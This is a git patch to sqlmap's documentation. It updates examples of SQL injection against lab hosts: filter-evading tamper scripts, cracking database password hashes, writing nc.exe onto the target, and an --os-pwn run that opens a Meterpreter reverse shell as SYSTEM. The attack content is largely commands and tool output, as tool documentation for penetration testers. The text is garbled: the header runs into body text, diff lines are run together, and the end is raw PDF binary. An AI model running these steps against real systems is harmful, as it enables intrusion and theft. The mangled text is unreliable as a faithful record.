From 2f8ddd156c03be4cdd746cf2f24d2af15882f88b Mon Sep 17 00:00:00 2001
From: Bernardo Damele SELECT string are banned:
.$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \ -tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 + tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' @@ -2005,8 +2005,8 @@ back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' -what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt] -[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt' +what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] +[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' @@ -2364,6 +2364,39 @@ across the DBMS.The list of common table names is
+txt/common-tables.txtand you can edit it as you wish.Example against a MySQL 4.1 target:
++
+ +++$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \ + --common-tables -D testdb --banner + +[...] +[hh:mm:39] [INFO] testing MySQL +[hh:mm:39] [INFO] confirming MySQL +[hh:mm:40] [INFO] the back-end DBMS is MySQL +[hh:mm:40] [INFO] fetching banner +web server operating system: Windows +web application technology: PHP 5.3.1, Apache 2.2.14 +back-end DBMS operating system: Windows +back-end DBMS: MySQL < 5.0.0 +banner: '4.1.21-community-nt' + +[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' +[hh:mm:40] [INFO] adding words used on web page to the check list +please enter number of threads? [Enter for 1 (current)] 8 +[hh:mm:43] [INFO] retrieved: users +[hh:mm:56] [INFO] retrieved: Users + +Database: testdb +[1 table] ++-------+ +| users | ++-------+ ++Brute force columns names
@@ -2461,7 +2494,7 @@ back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries -C:/example.exe file saved to: '/tmp/sqlmap/output/192.168.136.129/files/C__example.exe' +C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' [...] $ ls -l output/192.168.136.129/files/C__example.exe @@ -2493,14 +2526,14 @@ handle it properly.
@@ -2583,8 +2616,8 @@ only be deleted manually-$ file /tmp/nc.exe.packed -/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit +$ file /software/nc.exe.packed +/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit -$ ls -l /tmp/nc.exe.packed --rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed +$ ls -l /software/nc.exe.packed +-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ - "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 + "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL @@ -2513,7 +2546,7 @@ do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, -same size as the local file '/tmp/nc.exe.packed' +same size as the local file '/software/nc.exe.packed'It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is
--os-shelland has -the same TAB completion and history functionalities that +arbitrary commands as you wish. The option is--os-shell+and has the same TAB completion and history functionalities that--sql-shellhas.Where stacked queries has not been identified on the web application @@ -2662,11 +2695,108 @@ slide deck
@@ -2987,7 +3117,7 @@ a-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int_51.aspx?id=1" \ - --os-pwn -v 1 --msf-path /tmp/metasploit +$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \ + --msf-path /software/metasploit [...] -TODO +[hh:mm:31] [INFO] the back-end DBMS is MySQL +web server operating system: Windows 2003 +web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 +back-end DBMS: MySQL 5.0 +[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system +[hh:mm:31] [INFO] the back-end DBMS operating system is Windows +how do you want to establish the tunnel? +[1] TCP: Metasploit Framework (default) +[2] ICMP: icmpsh - ICMP tunneling +> +[hh:mm:32] [INFO] testing if current user is DBA +[hh:mm:32] [INFO] fetching current user +what is the back-end database management system architecture? +[1] 32-bit (default) +[2] 64-bit +> +[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist +[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist +[hh:mm:33] [INFO] detecting back-end DBMS version from its banner +[hh:mm:33] [INFO] retrieving MySQL base directory absolute path +[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file +[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file +how do you want to execute the Metasploit shellcode on the back-end database underlying +operating system? +[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) +[2] Stand-alone payload stager (file system way) +> +[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode +which connection type do you want to use? +[1] Reverse TCP: Connect back from the database host to this machine (default) +[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports +between the specified and 65535 +[3] Bind TCP: Listen on the database host for a connection +> +which is the local address? [192.168.136.1] +which local port number do you want to use? [60641] +which payload do you want to use? +[1] Meterpreter (default) +[2] Shell +[3] VNC +> +[hh:mm:40] [INFO] creation in progress ... done +[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait.. + + _ + | | o + _ _ _ _ _|_ __, , _ | | __ _|_ +/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| | + | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ + /| + \| + + + =[ metasploit v3.7.0-dev [core:3.7 api:1.0] ++ -- --=[ 674 exploits - 351 auxiliary ++ -- --=[ 217 payloads - 27 encoders - 8 nops + =[ svn r12272 updated 4 days ago (2011.04.07) + +PAYLOAD => windows/meterpreter/reverse_tcp +EXITFUNC => thread +LPORT => 60641 +LHOST => 192.168.136.1 +[*] Started reverse handler on 192.168.136.1:60641 +[*] Starting the payload handler... +[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', +please wait.. +[*] Sending stage (749056 bytes) to 192.168.136.129 +[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 +hh:mm:52 +0100 2011 + +meterpreter > Loading extension espia...success. +meterpreter > Loading extension incognito...success. +meterpreter > [-] The 'priv' extension has already been loaded. +meterpreter > Loading extension sniffer...success. +meterpreter > System Language : en_US +OS : Windows .NET Server (Build 3790, Service Pack 2). +Computer : W2K3R2 +Architecture : x86 +Meterpreter : x86/win32 +meterpreter > Server username: NT AUTHORITY\SYSTEM +meterpreter > ipconfig + +MS TCP Loopback interface +Hardware MAC: 00:00:00:00:00:00 +IP Address : 127.0.0.1 +Netmask : 255.0.0.0 + + + +Intel(R) PRO/1000 MT Network Connection +Hardware MAC: 00:0c:29:fc:79:39 +IP Address : 192.168.136.129 +Netmask : 255.255.255.0 + + +meterpreter > exit + +[*] Meterpreter session 1 closed. Reason: User exit<DB_NAME>/<TABLE_NAME>.csvfile intoYou can then use sqlmap itself to read and query the locally created SQLite 3 file. For instance,
+sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --tablepython sqlmap.py -d -sqlite:///tmp/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.Simple wizard interface for beginner users
diff --git a/doc/README.pdf b/doc/README.pdf index f47d69ccb..8b18d582a 100644 --- a/doc/README.pdf +++ b/doc/README.pdf @@ -1243,17 +1243,18 @@ endobj /ProcSet [ /PDF /Text ] >> endobj 598 0 obj << -/Length 1487 +/Length 1495 /Filter /FlateDecode >> stream -xÚíZKwÓ8ÝçWx58çLŒdI¶5»áQ��†ÃX¨Ž’zð£øÑÒ?’%¥qäÐÆ„’fS)Žì:÷~ºßKÀY8Ày6ú:‚btBß )ð ¥Nœ�>~ÎL\á ÓȹjWe"1¦ÎéèíèÑtôðćõhàÎt®ž�<Šˆ3�9ÝÇo^OŸ¾žžŽ?O_<<�de)�|ñ¬v!’+F@¿”z¡r¡ßìݳ‘3Á8ò@$FäaLÕ]ģ㠾ï>ÍÇ~ä6/Y�yçiÎÇ ¡ë�'€;˜ÒínøÁá—ýk@B©ëÓÛØò}�êL`ä…a°$˃‚.ˆ±ûˆå9/-–"rdb»a=ÀfÆ×Ìœòª’h‚r›Ê& rÜ5ÿ-HÓò¸)KÞj\-©ÁîŒÕìŒUÜ¢‘£Òý&°fâ ¯y\«ýquÎës±EÚE©˜ÉýøJM*kOµ“J]ajX2ª.β$OªZø³ÂÚƒA w†½�¶ (¼ˆh€^Š·îûEËÙ‚g+®®«šg7ÀTë¯C¨¿Ö¹3›,HY>S“¸dñØÝ/wƒZáµx˜»w;½`Uu%—åLñrΪs^Ùþý8T;'܉½) Êä2IùÂþÉÑ�åô§ëZp .Úpe‘Ú˜‘_<Œë ’òAÕ]ooµ�î�?½;x+î‚ñ$àfn·™T*6†3593“JN¸˜(±+ðë1AÐCÎvfÁþ *È‘øk—T¤M–[\à�HÄß* ƒÝW°?i²[8ð*¨Z<ʤÇ7©ØèPø^#÷‡ �ÖÑfiÚ�݈JWSnÃß,ÇêE A+ÄO9+c‰ß¹s.�.ÊŽ\ü¾¢#Õj&õïÑ=D¾W=„Ñ¡!Γ(€ß5:«Œ›ª.2e¾§o_ê�¿j¾?Öe9À÷ P0̤'ýõK²ßw•�ñ’ó¢ŒLÇ"åÎYÃÊÎx:ȱhSÂÓF5g©Ø‰\ëβ>µïÃx =øß£ÀŽ›Á�º[¢n2T¬ «÷"[ŸÌø'€pÎuñhÞäq½¬H&ù?<îíšÁðÞUõ{½4ÙJz -ŒôIL¢´Z¡bqÌ«žš -<¶K›H2öÿ޳ÙJ³»ÒÔ sóÒl‡eǤ[G -v)kݼ|°Ü 7·kâM�BÝA¨Ú™¾¿H‹¬«¸ˆ,¶Ø9¨ò÷!R†Š -R¢òæb<)S{–$_ØòR³/-r…L¬.ÇíR+\¤á±?¾Ñ¡†*Z -ŠI|Yy–Ô%+¯•Ñš:éQ;ÌDL—ÝfF\d™lªYÙq¸ï¢n/-ÈHË›¦žóÉÙ²Ý(K &T™7©Â1.ò¼�%¶òÛ?ÄÏw¿â5//JùWÝý›ú„糞jýUr›h¨r`¥’|֪•ÎfJ¾�–Wµà)#Ýž0:†'·4ðäÄ#‘5ÊPKYU®”Òë—c¸,m¬Š -üCn-mßž€k)ù0ަ‰Iûu Ò»Q:¨Gu¼uêGû¾+z½ãö§oܦÉÁSÞ�uø]"um sŸUj�e��ë>ÇŸÍ·$M˜At_m\%µj‚ô ¹ß‡"o‡}“Ç%Êã>㹈ÓS;S9Ö×ÿw¯°‰9ã‹_:¹úk:ý[¸ª¶¼¥²×’‰|4ˆuÆUtæßꆥ�RÂz4ÈQ¦Þ¾iÇ®œCU°µ;q+v“ÊvJÇlN|4ÙJ!Á(�쌫û¬*À{[ñÅ`{LŒ>I›êÜ:ù»ÑP£è¨?·Ô°0A0Äðµ~¾È‹Òœ.øÚpãšÅµ&+“âŠ53Ó¹3!‚{ÞÞ°Œ½;>�Žþ{Ò€ +xÚíZKwÓ8ÝçWx58çLŒõðC³›RÊÀa` á° ª£¤ü(~´ôß�dI©9´qÓ9MšM¥8²ëÜûé~/¹ÖÂrW£#ÀG×V €¸ ÄŠÒÑ—o®5ã×ßX®ƒIh]5«Rû!ëtôat4=?�À"ñ¡oMçòÈ!ȳ¦3ë‹ýâý»éËwÓÓñ·é›ç'Àk-Å>r\ÈŸÕ,DbÅÈU/%_¨X¨7ûøjdM07ä#r0&ò.Ï!ã p!´_fcÚuÊ +ZÅyÖyšõeBÜÀvÆÏuï8`B6»ážÃ£ý+@ ˆ ÉmlAè—X:Aà/Ér §`lÑ,c…ÁRè˜ØlF�k23§¬,Åš „ìº4IžwØ5ÿ-HÑò¢. +Öh\%¨ÁöŒVôŒ–Ì y¥{&°bâ˜U,ªäþ¸:gÕ9ß"͇¼�Ìd¹ú–%'¥±§š…q)¯P9,•giœÅeÅýYnìAß[ÃÞ º Ü ä)€Þò·îûE)Íè‚¥+.¯ËŠ¥7À”«¯ã¸{Ö¹5›ó Hi6““¨ Ñö÷»AÍ�ðš?Ì^…»™^в¼Kób&y9§å9+MÿŒîÕÖÀ ¶bo€"¾Œ¶0rxg9}p]ë¹€·\‘'&fÞ#ãz�€$ƒ�|Vv×›[- »ãOï^Ë] w<ñ9xíÌMá6JEÇ@`&'gzRŠ ã‰ ¶9~=&H|²Ï9ÀÖ,€{� ƒ�¿rIyR§™Á¼=‰øûB¥a°C ûq�^˜Â�Û *ñ(âß$c£} à{�A¢M“¤»•®¦Ü†?ö,ÇêE AKÄO-"�ß¹s.€Î‹Ž\üÞÒ‘²�IýÂ;†d‘ïUnthˆóô$Àk•UFuYå©4ßÓoUÈ_q5_†«²ìã'P(fÒ“þú¥Y<í£¢Ö^rž‘Qƒ ÿP¤Ü:kxXÑ¸Ž +rÚ¤ð4QÍYÂw"SúŸÑ´Oíƒ'Çß0Ü +à¯(Ð�ãzðC„žÀ–è…Û*V@ŠÕ'žOfì«‹pÆTñh^gQµ¬HÆÙ¿,êíš�àÉUõ{½´·‘ô7héyÝ@¼êªE)E‡ž+á%G*&úêzî§ã> ³Fêí¬+ö‡Z7”Ö}ëD©]¡¢QÄÊžš +8´†¥u$iûÿÈè¬ÕìÀ¶0uÍܼÐÛaÙ1éÖѸ‚]ŠZ7+ž-wÃÍíŠxcS ]Pwsg +µ3ýt‘äXÛ¸ð,6ß:¨!‚»)CEIQy1žð”©9K’-Ly©è÷¹\$V—ãf©.’àÐ_ëPƒ�-E'¾´8‹«‚×ÒèsE�ð¨�fÌ'’Ën3#ÊÓT4ÕŒì8ØuÑ6—¤¥å}]MòùälÙn¥ªÌëDâåYÖDŽ[ñíügñ»ÿf+. +ñWÞý›ú˜e³žjy,¹M8T9°TŽÏq6kTáJe3[Ë+𤑮O|“[Â``$‚×F"+”¡†²²Ò\I¥W.ÇžoÓ¤6*>ȇ{ÜZ›÷88àJJ>�CŽi¬Ó~¨ôn”ê¡B¯G�Àp×wEŸwÄ›·S9ܺÉÁÖ�uðKç"umsŸUïi�e˜�«>ÇŸõÏ8‰©F´�/�6®âJ6AzŠŠž÷´Eb8ÔãzÒã¾b�Ó3S9Ô×Ú+À�¾ØÓ¾øm®’«¿¦ÓD�«lÊ[2{-(ÏGýHe\yGÑ*ö³ªiÒ)%¬FS®·—2µyœã u;¶uUÂÖDìž]Ò›T¶sÐP8f}â£N[…t¢3.ï3r(ïlÅ÷î0-˜•>IêòÜ8ù»ÖPÃð ?·Ô07ÁA†¯üóëE–útÁ�ši×̯ÕIUê—¯™é–È�ùØñö^í‡wÇ—ÓÑ2Ñ] endstream endobj 597 0 obj << @@ -1531,15 +1532,17 @@ endobj /ProcSet [ /PDF /Text ] >> endobj 624 0 obj << -/Length 2469 +/Length 2475 /Filter /FlateDecode >> stream -xÚåZY“Û¸~Ÿ_¡·HUͼòæ]¯]³eo¼ö¸’”w0Fb†‡�3«üút£EÑvjÖ)y‚ ˆãëî¯�¿Ø.üÅó‹÷<ýE°HÃEšû^�ç‹¢¾x÷»¿Ø@ÿÏßy¶¸·³ê…H2xV‹7¿^üpuñøY,r/OÂdquCkD^Å‹«ÍâÝ2ðVë,ËËf…ËN·«5<7}Ñ•m³úýêçÇÏ‚xô½H"ÏaûµÀ>Ÿ”N©·|Ü×Ï/kÆ^�Ј!äßîWë0[n |Bܼ¯j¹Ÿn”øÙ× È—ÝoVÁCÄ‘’8ÞÈHãn¦Kg{4BC/eCOIVQ¬‚eÛüæGbÛki�Õö_þrIóp¨RÓcŠ øfÅ÷ùÏñ'xÑp% Ê6m³¸a°SZÞa›…R·d53Цÿvò0!¬ÃÐËýüLÀDq._–¦PU%ÕöfºEœæß e|u"ªô(*/`«©”îÈîwꔕÞüú±տTáX ^™Ä6ªƒnðõ“£…YúÍB†rè?ˆ–/$€/Ÿ¾£5€Ø)•š-!MÑÑÐ{ëDU+7ædñ ÙŬò†�5"X¬”´¤ÞïÏÕ:Xî˜ÖŸþð’Q¿Ñm}Q›‚%U”èXê|ûôÙo~ìøp°Ú¸8V^Wê88¹M$‚/`úBOz¯9©�šÞ”’qkumþâ´rß³_E¸Tu®�"Ë¿/"ÿ|�sfôÖ°n>§�£ÝVܱiõ-µ4ê°‚ÐÅôت Õ~¤Ç'ºë2½Üòrd5Fž×0âO=½Mš~yJþs �='@OK³¯ˆ0 ²#$Z6·.ŽŽýW¯�…[5§ÉV*é 1–Š2}Õ�«|˜~�jýùT7�e‹#¹* ?¤•1€·™²îQ¥±±'�·”ŽM£D‘|·|ÀéÊkµ¯ÊbÈÖ7}ÍvÍ ‰¼rE kG±™õfe§¢ãÜkiÎ’˜,ɾÎ@lÍè!hæœn—õÞñé}ùo©7'Ø)}#1Çfµ»qZ{M�o˦QÜÕ¥Ïõ1 ¿¡Pv6†ýº“Êâ:J½L@ââÓ-0mÆËe¡È„³ˆch틎]nw¶úxzƒ+ÉPktç™)2òLÚš…�ÒÖ@òE%ËzêÓþäêþ¤ïvíTú³KZ°¢ð"‘„®aYá{‰p98/ ‘`96àrlð‘r¬oO•D\Xuk§6ç -c á†Þ[f‹†ºMÛëBÑ�Q�+%aï�oàô޽]ů;ÙÑ,Ùw-Öo�pkjŠZ - y>À Má´†VNI°¡þØ»¦-�;cN ·¶yIÈW'>iˆaf,Ñrï u�–¥‰ßRÖ�-Î jŽæžš5¢}‹æYmlù²£‘¢…ãÕÖk¥HÝŽZ’–»-üîv- O'q0A5@ê@ kIË7mèó�š»ñ�’]¯-БOŒ¢’XÄ¡B[I§·™B/ÊTñ‡